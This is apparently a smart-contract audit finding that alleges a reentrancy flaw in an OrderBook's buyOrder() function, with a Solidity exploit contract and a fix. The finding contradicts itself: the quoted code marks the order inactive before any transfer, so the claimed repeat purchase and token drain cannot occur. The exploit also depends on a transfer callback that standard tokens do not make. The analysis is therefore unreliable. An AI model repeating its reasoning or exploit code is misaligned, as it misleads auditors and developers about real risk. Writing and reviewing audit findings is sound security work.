Root + Impact
Description
Normal Behavior
The OrderBook contract allows users to create sell orders for tokens (wETH, wBTC, or wSOL) and buy these orders using USDC. When a buy order is executed, the contract collects a fee, transfers USDC from the buyer to the seller, and transfers the ordered tokens to the buyer.
Specific Issue
The buyOrder() function violates the checks-effects-interactions pattern by modifying state variables after making external contract calls, creating a potential reentrancy vulnerability:
function buyOrder(uint256 _orderId) public {
Order storage order = orders[_orderId];
if (order.seller == address(0)) revert OrderNotFound();
if (!order.isActive) revert OrderNotActive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired();
order.isActive = false;
uint256 protocolFee = (order.priceInUSDC * FEE) / PRECISION;
uint256 sellerReceives = order.priceInUSDC - protocolFee;
iUSDC.safeTransferFrom(msg.sender, address(this), protocolFee);
iUSDC.safeTransferFrom(msg.sender, order.seller, sellerReceives);
IERC20(order.tokenToSell).safeTransfer(msg.sender, order.amountToSell);
totalFees += protocolFee;
emit OrderFilled(_orderId, msg.sender, order.seller);
}
Risk
Likelihood:
The vulnerability occurs when a malicious contract with a callback function attempts to buy an order.
During the execution of safeTransferFrom or safeTransfer, the attacker's contract can call back into the buyOrder() function.
Impact:
An attacker could potentially execute multiple purchases of the same order, obtaining the order's tokens multiple times while only paying once.
This could lead to significant financial loss by draining tokens from the contract.
Proof of Concept
contract ReentrancyExploiter {
OrderBook private orderBook;
uint256 private targetOrderId;
bool private attacking = false;
IERC20 private usdc;
constructor(address _orderBook, address _usdc) {
orderBook = OrderBook(_orderBook);
usdc = IERC20(_usdc);
}
function attack(uint256 _orderId, uint256 _price) external {
targetOrderId = _orderId;
usdc.approve(address(orderBook), _price);
orderBook.buyOrder(targetOrderId);
}
function onERC20Transfer(address, address, uint256) external returns (bool) {
if (!attacking) {
attacking = true;
orderBook.buyOrder(targetOrderId);
attacking = false;
}
return true;
}
function withdraw(address token) external {
IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this)));
}
}
Recommended Mitigation
function buyOrder(uint256 _orderId) public {
Order storage order = orders[_orderId];
// Validation checks
if (order.seller == address(0)) revert OrderNotFound();
if (!order.isActive) revert OrderNotActive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired();
+ // Save values needed for transfers
+ address seller = order.seller;
+ address tokenToSell = order.tokenToSell;
+ uint256 amountToSell = order.amountToSell;
+ uint256 priceInUSDC = order.priceInUSDC;
// Update state before external calls
order.isActive = false;
- uint256 protocolFee = (order.priceInUSDC * FEE) / PRECISION;
- uint256 sellerReceives = order.priceInUSDC - protocolFee;
+ uint256 protocolFee = (priceInUSDC * FEE) / PRECISION;
+ uint256 sellerReceives = priceInUSDC - protocolFee;
+ totalFees += protocolFee;
+ // All state changes complete before external calls
iUSDC.safeTransferFrom(msg.sender, address(this), protocolFee);
- iUSDC.safeTransferFrom(msg.sender, order.seller, sellerReceives);
- IERC20(order.tokenToSell).safeTransfer(msg.sender, order.amountToSell);
+ iUSDC.safeTransferFrom(msg.sender, seller, sellerReceives);
+ IERC20(tokenToSell).safeTransfer(msg.sender, amountToSell);
- totalFees += protocolFee;
- emit OrderFilled(_orderId, msg.sender, order.seller);
+ emit OrderFilled(_orderId, msg.sender, seller);
}
